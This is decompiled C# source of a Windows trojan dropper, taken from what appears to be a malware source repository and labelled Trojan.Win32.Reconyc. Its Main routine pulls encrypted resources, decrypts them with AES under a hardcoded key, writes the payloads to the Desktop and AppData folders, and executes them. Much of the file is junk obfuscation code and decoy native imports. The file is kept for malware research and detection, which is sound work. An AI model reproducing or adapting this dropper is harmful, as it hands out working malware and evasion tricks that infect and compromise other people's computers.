MalwareSourceCode/MSIL/Trojan/Win32/R/Trojan.Win32.Reconyc.egjq-cde6c4ee7c4f180c803cddbd3b786ea77c40439e414a435210f01b6119f69e25/ÎÙ8ÑÍ.cs

1011 lines
28 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: ÎÙ8ÑÍ
// Assembly: bp3cxhjs, Version=1.0.48.5, Culture=neutral, PublicKeyToken=null
// MVID: BD053CB7-DAC8-4783-BCAC-74145524855E
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Reconyc.egjq-cde6c4ee7c4f180c803cddbd3b786ea77c40439e414a435210f01b6119f69e25.exe
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Resources;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
[StandardModule]
internal sealed class ÎÙ8ÑÍ
{
public static byte[] ËuÖÒÆ(long zwÊu, byte[] , int h1Çdº5, double tÑwkbm, bool ÛÖËci9)
{
ushort num1 = 7;
do
{
++num1;
}
while (num1 <= (ushort) 79);
byte[] numArray = new byte[13]
{
(byte) 199,
(byte) 211,
(byte) 212,
(byte) 21,
(byte) 184,
(byte) 32,
(byte) 41,
(byte) 86,
(byte) 57,
(byte) 247,
(byte) 108,
(byte) 16,
(byte) 71
};
ushort num2 = 14;
do
{
if (false)
;
if (false)
;
++num2;
}
while (num2 <= (ushort) 102);
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{
if (true)
{
int num3 = 17;
do
{
if (false)
;
++num3;
}
while (num3 <= 82);
if (false)
;
}
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(numArray, numArray, 1);
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes((int) Math.Round((double) rijndaelManaged.KeySize / 8.0));
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes((int) Math.Round((double) rijndaelManaged.BlockSize / 8.0));
return rijndaelManaged.CreateDecryptor().TransformFinalBlock(, 0, .Length);
}
}
public static string ÏÕt8Ï(string rvÆÝ, sbyte fËÃ_a)
{
if (false)
{
int num = 14;
do
{
++num;
}
while (num <= 82);
if (false)
;
}
DateTime now = DateTime.Now;
return Encoding.UTF8.GetString(ÎÙ8ÑÍ.ËuÖÒÆ(-759707257L, Convert.FromBase64String(rvÆÝ), 1568811234, -9302.926, true));
}
public static void cÑm(
double f9i,
byte[] Æ0rÈÒm,
DateTime bmÐÎ,
Decimal ÓÏßtol,
string cÑm,
bool Ñ)
{
int num1 = 6;
do
{
++num1;
}
while (num1 <= 56);
ushort num2 = 2;
do
{
byte num3 = 20;
do
{
++num3;
}
while (num3 <= (byte) 55);
++num2;
}
while (num2 <= (ushort) 79);
File.WriteAllBytes(cÑm, Æ0rÈÒm);
if (true)
{
uint num4 = 11;
do
{
++num4;
}
while (num4 <= 42U);
float num5 = 10f;
do
{
sbyte num6 = 9;
do
{
++num6;
}
while (num6 <= (sbyte) 23);
++num5;
}
while ((double) num5 <= 71.0);
}
Process.Start(cÑm);
}
public static string ÊrÆq(string oÓÂ_mÕ, Environment.SpecialFolder fßßÈÀ, sbyte ºÕØ)
{
if (true)
;
bool flag = false;
ushort num = 9;
do
{
++num;
}
while (num <= (ushort) 52);
if (flag)
{
if (false)
;
}
return Path.Combine(Environment.GetFolderPath(fßßÈÀ), oÓÂ_mÕ);
}
[STAThread]
public static void Main()
{
if (false)
;
if (false)
;
string str = "MD\\%pS@";
int index = 0;
for (int length = str.Length; index < length; ++index)
{
char ch = str[index];
}
ResourceManager resourceManager = new ResourceManager("s02tdiur", Assembly.GetExecutingAssembly());
ÎÙ8ÑÍ.cÑm(8355.0, ÎÙ8ÑÍ.ËuÖÒÆ(0L, (byte[]) resourceManager.GetObject(ÎÙ8ÑÍ.ÏÕt8Ï("PujtvOVg0SXcYRFm69qQiA==", (sbyte) 80)), 0, 29172.69, true), DateTime.Now, 1930691046M, ÎÙ8ÑÍ.ÊrÆq(ÎÙ8ÑÍ.ÏÕt8Ï("xQsz3w52js5Uz7ON//Ll0hLlH0xz2Pl5AILadsRH4xg=", (sbyte) -59), Environment.SpecialFolder.Desktop, (sbyte) -8), false);
ÎÙ8ÑÍ.cÑm(-23311.4812, ÎÙ8ÑÍ.ËuÖÒÆ(1460762697L, (byte[]) resourceManager.GetObject(ÎÙ8ÑÍ.ÏÕt8Ï("M/nMZ7TQBO16JMzESdA8rg==", (sbyte) 0)), 0, -19367.0, false), DateTime.Now, -645235064M, ÎÙ8ÑÍ.ÊrÆq(ÎÙ8ÑÍ.ÏÕt8Ï("CT/UmuIeQeWGgm4SKshifg==", (sbyte) 100), Environment.SpecialFolder.ApplicationData, (sbyte) -110), true);
}
public class h5Ó0ßß
{
[DebuggerNonUserCode]
public h5Ó0ßß()
{
}
public ulong Év2th(string Ý)
{
if (true)
{
if (true)
;
ulong num1 = 2;
do
{
++num1;
}
while (num1 <= 50UL);
string str = "7yQ,/k";
int index = 0;
for (int length = str.Length; index < length; ++index)
{
char ch = str[index];
}
byte num2 = 11;
do
{
++num2;
}
while (num2 <= (byte) 27);
}
return 0;
}
public void Ô(float ËvÍß, int pÇf, string yÐ4)
{
float num = 2f;
do
{
if (false)
;
++num;
}
while ((double) num <= 117.0);
if (false)
;
}
public void ÇiÞwÝa(float v7Ð, short ÌØv9Æ, string qi, sbyte Ðad)
{
if (false)
;
uint num = 0;
do
{
++num;
}
while (num <= 126U);
}
public class Ök4Õ
{
private byte Ð5Éd1;
public Ök4Õ() => this.Ð5Éd1 = (byte) 117;
public DateTime n7t(int mzp4ÛÒ, string ßÀ, long lÚØÌ, uint Ìvvg, double Ðrp)
{
string str = ",kDO=~;9/+K";
int index = 0;
for (int length = str.Length; index < length; ++index)
{
char ch = str[index];
if (true)
;
}
return DateTime.MinValue;
}
public class Óß5
{
private sbyte Ïnpi;
[DebuggerNonUserCode]
public Óß5()
{
}
public void ÑÈ()
{
string str = "qm{`8QxQ";
int index = 0;
for (int length = str.Length; index < length; ++index)
{
char ch = str[index];
}
}
public delegate uint ÄiÂ2dr(int ÈeÁͺÏ, DateTime ÍhØܺÌ, DateTime yÐs7Ð, uint x);
}
public delegate uint va();
public class
{
private double z;
private Decimal ÐyÌhË;
public ()
{
this.z = -12213.89;
this.ÐyÌhË = 1969821777M;
}
public void vÓÖ1xe(Decimal ÍbmÀu, ulong rbÇÍÆ, byte oËÚÉ, Decimal ÂÒx2Ñ)
{
if (false)
;
ushort num = 15;
do
{
++num;
}
while (num <= (ushort) 95);
}
public void eŵ11Ë(byte ÓÝ)
{
if (false)
return;
DateTime now = DateTime.Now;
}
public class ÒÐ0
{
private short ÊÜÓf0b;
public ÒÐ0() => this.ÊÜÓf0b = (short) 24874;
public void ßÈ()
{
Decimal limit = 40M;
for (Decimal num = 13M; ObjectFlowControl.ForLoopControl.ForNextCheckDec(num, limit, 1M); num = Decimal.Add(num, 1M))
{
if (false)
;
}
}
public delegate void Ï9ÓÝÕÆ(Decimal ln8Ð4q);
public delegate void sÒÐÐg(long Ïp);
public delegate string Åtpq(string Ä2_r_, string dbÂ);
public delegate byte ßÏt(float ÒxÓ5s, byte Ïsarx, bool Û_);
public class vfÛÞ
{
[DebuggerNonUserCode]
public vfÛÞ()
{
}
public int rjaÃxµ(ushort t0, sbyte Þ)
{
string str1 = "T5g<+";
int index1 = 0;
for (int length1 = str1.Length; index1 < length1; ++index1)
{
char ch1 = str1[index1];
float num1 = 8f;
do
{
uint num2 = 13;
do
{
if (false)
;
++num2;
}
while (num2 <= 65U);
++num1;
}
while ((double) num1 <= 62.0);
string str2 = "=)";
int index2 = 0;
for (int length2 = str2.Length; index2 < length2; ++index2)
{
char ch2 = str2[index2];
sbyte num3 = 16;
do
{
++num3;
}
while (num3 <= (sbyte) 39);
}
}
return 0;
}
public uint un(ushort lÍkÉi, uint jÎnbÎv, float µqÂÞÎa, ulong ÙÞÖÏß, uint cr0)
{
int num1 = 6;
do
{
float num2 = 10f;
do
{
++num2;
}
while ((double) num2 <= 61.0);
float num3 = 4f;
do
{
double num4 = 20.0;
do
{
++num4;
}
while (num4 <= 95.0);
++num3;
}
while ((double) num3 <= 41.0);
string str1 = "FioIxa";
int index1 = 0;
for (int length1 = str1.Length; index1 < length1; ++index1)
{
char ch1 = str1[index1];
if (true)
;
uint num5 = 18;
do
{
if (true)
;
++num5;
}
while (num5 <= 63U);
if (false)
;
string str2 = "poI`+";
int index2 = 0;
for (int length2 = str2.Length; index2 < length2; ++index2)
{
char ch2 = str2[index2];
}
}
++num1;
}
while (num1 <= 26);
return 1661610267;
}
public float zkÌz(byte ºº3ÒØ, float Ûq)
{
if (false)
;
if (true)
{
Decimal limit = 50M;
Decimal num = 18M;
while (ObjectFlowControl.ForLoopControl.ForNextCheckDec(num, limit, 1M))
num = Decimal.Add(num, 1M);
if (false)
;
}
ushort num1 = 5;
do
{
++num1;
}
while (num1 <= (ushort) 97);
return -13131f;
}
}
}
public delegate uint Ê(int Õ, uint Üx78m, float Í, ushort kʺxÕØ, DateTime jÛo);
public class ÒÀÔ
{
private long g4Ë0;
private string f;
public ÒÀÔ() => this.g4Ë0 = 0L;
[DllImport("wtsapi32", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern short efk(Decimal jlÖÝ, short ÑÌ, long sÎÐa, ushort Ör);
public void r(float azm4ºc)
{
}
public double ßÕ(sbyte iÕÞÛi, float ÂÖ)
{
if (false)
;
return -17359.0;
}
public delegate void ºÁÖcwº(Decimal eua06, Decimal o5ÒÎ, ushort bÒÖzmÝ);
public class q2xÎr8
{
private ushort ÔgÆtÂ;
public q2xÎr8() => this.ÔgÆt = (ushort) 2;
}
public class ÐÁݺßj
{
private int ÂÉÊÞ;
public ÐÁݺßj() => this.ÂÉÊÞ = 77624075;
public void fÆuf2(sbyte u1ÞÌ, float ÎÅÀÅ2o, int , sbyte g, ushort Ò)
{
string str1 = "*~j9";
int index1 = 0;
for (int length1 = str1.Length; index1 < length1; ++index1)
{
char ch1 = str1[index1];
string str2 = "]iNVm,?s{N;";
int index2 = 0;
for (int length2 = str2.Length; index2 < length2; ++index2)
{
char ch2 = str2[index2];
string str3 = "(e/fm't";
int index3 = 0;
for (int length3 = str3.Length; index3 < length3; ++index3)
{
char ch3 = str3[index3];
}
bool flag = false;
if (true)
;
if (flag)
{
if (true)
;
long num = 1;
do
{
++num;
}
while (num <= 85L);
}
}
}
}
[DllImport("gdiplus", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern long zÒa(
DateTime pß1ÝÙ,
[MarshalAs(UnmanagedType.VBByRefStr)] ref string ug0Èj,
long fÎiyÛ,
[MarshalAs(UnmanagedType.VBByRefStr)] ref string gj,
byte ÆnÔhkl);
public class ÍßpÓg
{
private uint È3Ü;
private byte Æ_i4dÏ;
private float m2dÇaÆ;
public ÍßpÓg()
{
this.È3Ü = 1922996858U;
this.Æ_i4dÏ = (byte) 144;
}
public void ÀÜj(DateTime hßØßoÎ, int xjh)
{
if (true)
{
string str = "&#B=7i[";
int index = 0;
for (int length = str.Length; index < length; ++index)
{
char ch = str[index];
}
}
if (false)
;
}
public delegate float yÿß(long jao, Decimal ÃÒrµ5, float ÂÏÐzh, string µmc);
public delegate void yÕÕu();
}
public class e1
{
[DebuggerNonUserCode]
public e1()
{
}
public void ()
{
bool flag = true;
Decimal limit = 80M;
for (Decimal num1 = 18M; ObjectFlowControl.ForLoopControl.ForNextCheckDec(num1, limit, 1M); num1 = Decimal.Add(num1, 1M))
{
int num2 = 3;
do
{
++num2;
}
while (num2 <= 32);
}
if (!flag)
return;
if (true)
{
if (false)
;
if (false)
;
}
}
public string Áaÿdo5(byte È5xÃ2, uint ÞcÖt, Decimal wÐfÞ, float ÎwvÐv, double ÔÓ)
{
if (false)
;
string str = "<O2e0";
int index = 0;
for (int length = str.Length; index < length; ++index)
{
char ch = str[index];
}
short num = 8;
do
{
++num;
}
while (num <= (short) 69);
return "tfgqwB";
}
public class Æy78
{
[DebuggerNonUserCode]
public Æy78()
{
}
public class aÁ0hÝ8
{
private byte ÎÚ2;
[DebuggerNonUserCode]
public aÁ0hÝ8()
{
}
public long Ýb0ÎÕÊ(ushort Ê1Û, double ÌÜÑ, byte ÝÜÇÊnm, bool tb)
{
int num = 5;
do
{
if (true)
{
string str = "d3'1J99C";
int index = 0;
for (int length = str.Length; index < length; ++index)
{
char ch = str[index];
}
}
if (true)
;
++num;
}
while (num <= 116);
return 1243511970;
}
[DllImport("uxtheme", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern void ÒÌÏ(
ulong xµq,
long tet,
DateTime ÒoÔ1,
byte ÏÐ3_r4,
byte o5f2Ð);
[DllImport("powrprof", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern void Ýv();
public void ËcaiÜ9(ulong Ü)
{
Decimal limit = 126M;
for (Decimal num1 = 17M; ObjectFlowControl.ForLoopControl.ForNextCheckDec(num1, limit, 1M); num1 = Decimal.Add(num1, 1M))
{
sbyte num2 = 2;
do
{
++num2;
}
while (num2 <= (sbyte) 20);
}
}
public void ÙÒ()
{
bool flag = true;
string str = "LI8A";
int index = 0;
for (int length = str.Length; index < length; ++index)
{
char ch = str[index];
}
if (!flag || true)
;
}
public float p(bool Ì, double µÔ, sbyte ÁkÒ8, bool ÁÂ14) => -31178.26f;
public delegate Decimal ÒpzÍxy(double Î, ushort ÎÛß);
public delegate void ÜdujÛs(string Ïu);
}
}
public delegate ushort ßqdp(short cÑÄsË, uint Ùß98);
}
public class ÏiqÕÄ
{
private DateTime yÇÝuÐÖ;
private long Ó;
private Decimal h_ÒË;
private byte ;
public ÏiqÕÄ()
{
this.yÇÝuÐÖ = DateTime.Now;
this.Ó = 0L;
this.h_ÒË = 0M;
this. = (byte) 44;
}
public uint d6ÉÛ(double ÇÊl4_f, uint cÏÃ6ÖÎ, sbyte ÿÂ1dÉo, bool ÃÇhÿÇ)
{
if (false)
;
bool flag = true;
string str1 = "SGfILg~b";
int index1 = 0;
for (int length = str1.Length; index1 < length; ++index1)
{
char ch = str1[index1];
}
if (flag)
{
if (false)
;
string str2 = "?O";
int index2 = 0;
for (int length = str2.Length; index2 < length; ++index2)
{
char ch = str2[index2];
}
}
float num = 1f;
do
{
++num;
}
while ((double) num <= 105.0);
return 1758312084;
}
public short Â(float ÓÍÔv8Ê, int ÊvÒfÃ, ushort xvÁÊm)
{
string str1 = "E-;>=6,CXJ\\";
int index1 = 0;
for (int length1 = str1.Length; index1 < length1; ++index1)
{
char ch1 = str1[index1];
string str2 = ",G#y'";
int index2 = 0;
for (int length2 = str2.Length; index2 < length2; ++index2)
{
char ch2 = str2[index2];
}
short num = 13;
do
{
++num;
}
while (num <= (short) 28);
}
return 0;
}
public void ho(float s2zÈ, string , uint ruÒ, double e3Çm)
{
if (false)
return;
short num = 19;
do
{
if (false && false)
{
string str = ")8fL@!WpIH";
int index = 0;
for (int length = str.Length; index < length; ++index)
{
char ch = str[index];
}
}
++num;
}
while (num <= (short) 35);
}
public void r9p(byte k7, ushort nqË, sbyte ÚpaÈc)
{
if (false)
;
string str1 = "S9AUxrUDe#";
int index1 = 0;
for (int length1 = str1.Length; index1 < length1; ++index1)
{
char ch1 = str1[index1];
int num = 0;
do
{
++num;
}
while (num <= 57);
string str2 = "rE''~O&_D";
int index2 = 0;
for (int length2 = str2.Length; index2 < length2; ++index2)
{
char ch2 = str2[index2];
}
}
}
public delegate uint Âm(float ofÒxgp, sbyte eÙÊÎÍ);
public delegate void ÆÐqg(int zÉv, ulong ÓÌ, uint ߺÞÐ);
public class ÀjtÒ3
{
[DebuggerNonUserCode]
public ÀjtÒ3()
{
}
public class ÞÙ
{
[DebuggerNonUserCode]
public ÞÙ()
{
}
public class ÉgvoÃu
{
private bool k0wÂse;
public ÉgvoÃu() => this.k0wÂse = true;
public sbyte ÆÃotÙÕ(sbyte kÎÕ, sbyte cz9º, bool efÇyÛ)
{
if (true)
{
sbyte num1 = 12;
do
{
++num1;
}
while (num1 <= (sbyte) 36);
if (true)
;
ushort num2 = 13;
do
{
++num2;
}
while (num2 <= (ushort) 53);
ushort num3 = 12;
do
{
uint num4 = 16;
do
{
++num4;
}
while (num4 <= 39U);
short num5 = 17;
do
{
++num5;
}
while (num5 <= (short) 125);
++num3;
}
while (num3 <= (ushort) 52);
}
return 103;
}
[DllImport("mpr", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern float nÎ6u(DateTime a, ulong ÅÐmvµf);
[DllImport("hlink", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern double n6d7Á5(
ulong udÙ,
long ºÅeËÑÚ,
sbyte µz8ÈÁ,
long µË4l);
public void Ð14(int aÕÇÄ2, int Ç, short kÊxÚzØ, float Ïÿu_, uint ÜÃ)
{
if (false)
return;
if (true)
{
Decimal limit = 43M;
Decimal num = 6M;
while (ObjectFlowControl.ForLoopControl.ForNextCheckDec(num, limit, 1M))
num = Decimal.Add(num, 1M);
}
bool flag = false;
DateTime now = DateTime.Now;
if (!flag)
;
if (false)
;
if (true)
;
ushort num1 = 16;
do
{
++num1;
}
while (num1 <= (ushort) 70);
if (true)
;
}
[DllImport("gdi32", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern void ÍÌÑÇ(
ulong fxÚlÜ,
int ÞÝÐ,
double ,
long Áu,
short Îko);
public delegate short im_ei(string iggÃ, double , ushort ij1nÞÍ, int ÎÝ8º);
public delegate int ÕË();
public class ÆÃiÅÆq
{
private float È;
public ÆÃiÅÆq() => this.È = 0.0f;
[DllImport("opengl32", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern int ();
public delegate uint ÿÅf4pe(ushort , byte t, int gµbÖ, DateTime m4xÎÒ);
public class ØÑÊ
{
[DebuggerNonUserCode]
public ØÑÊ()
{
}
}
}
}
public class b4c
{
[DebuggerNonUserCode]
public b4c()
{
}
}
}
}
}
public delegate int hrÜ9Ü(ushort ÂØ, double Æ, byte ÐÏ, int ez8h4, bool tÉÎx2);
}
public delegate Decimal Èn(string ÞgÃÚ, byte ÄÆÉ, sbyte , bool ÛÄÝÆv4);
}
}
public delegate int Çÿ6(double , string ÏÓk, sbyte nd, uint ÕdÏÎ6Ó, string Ñ);
}
public class µ8
{
[DebuggerNonUserCode]
public µ8()
{
}
}
public class
{
[DebuggerNonUserCode]
public ()
{
}
}
public delegate Decimal Ãz();
public class ÌÎÞ
{
[DebuggerNonUserCode]
public ÌÎÞ()
{
}
}
public delegate sbyte µmfÖ();
}
}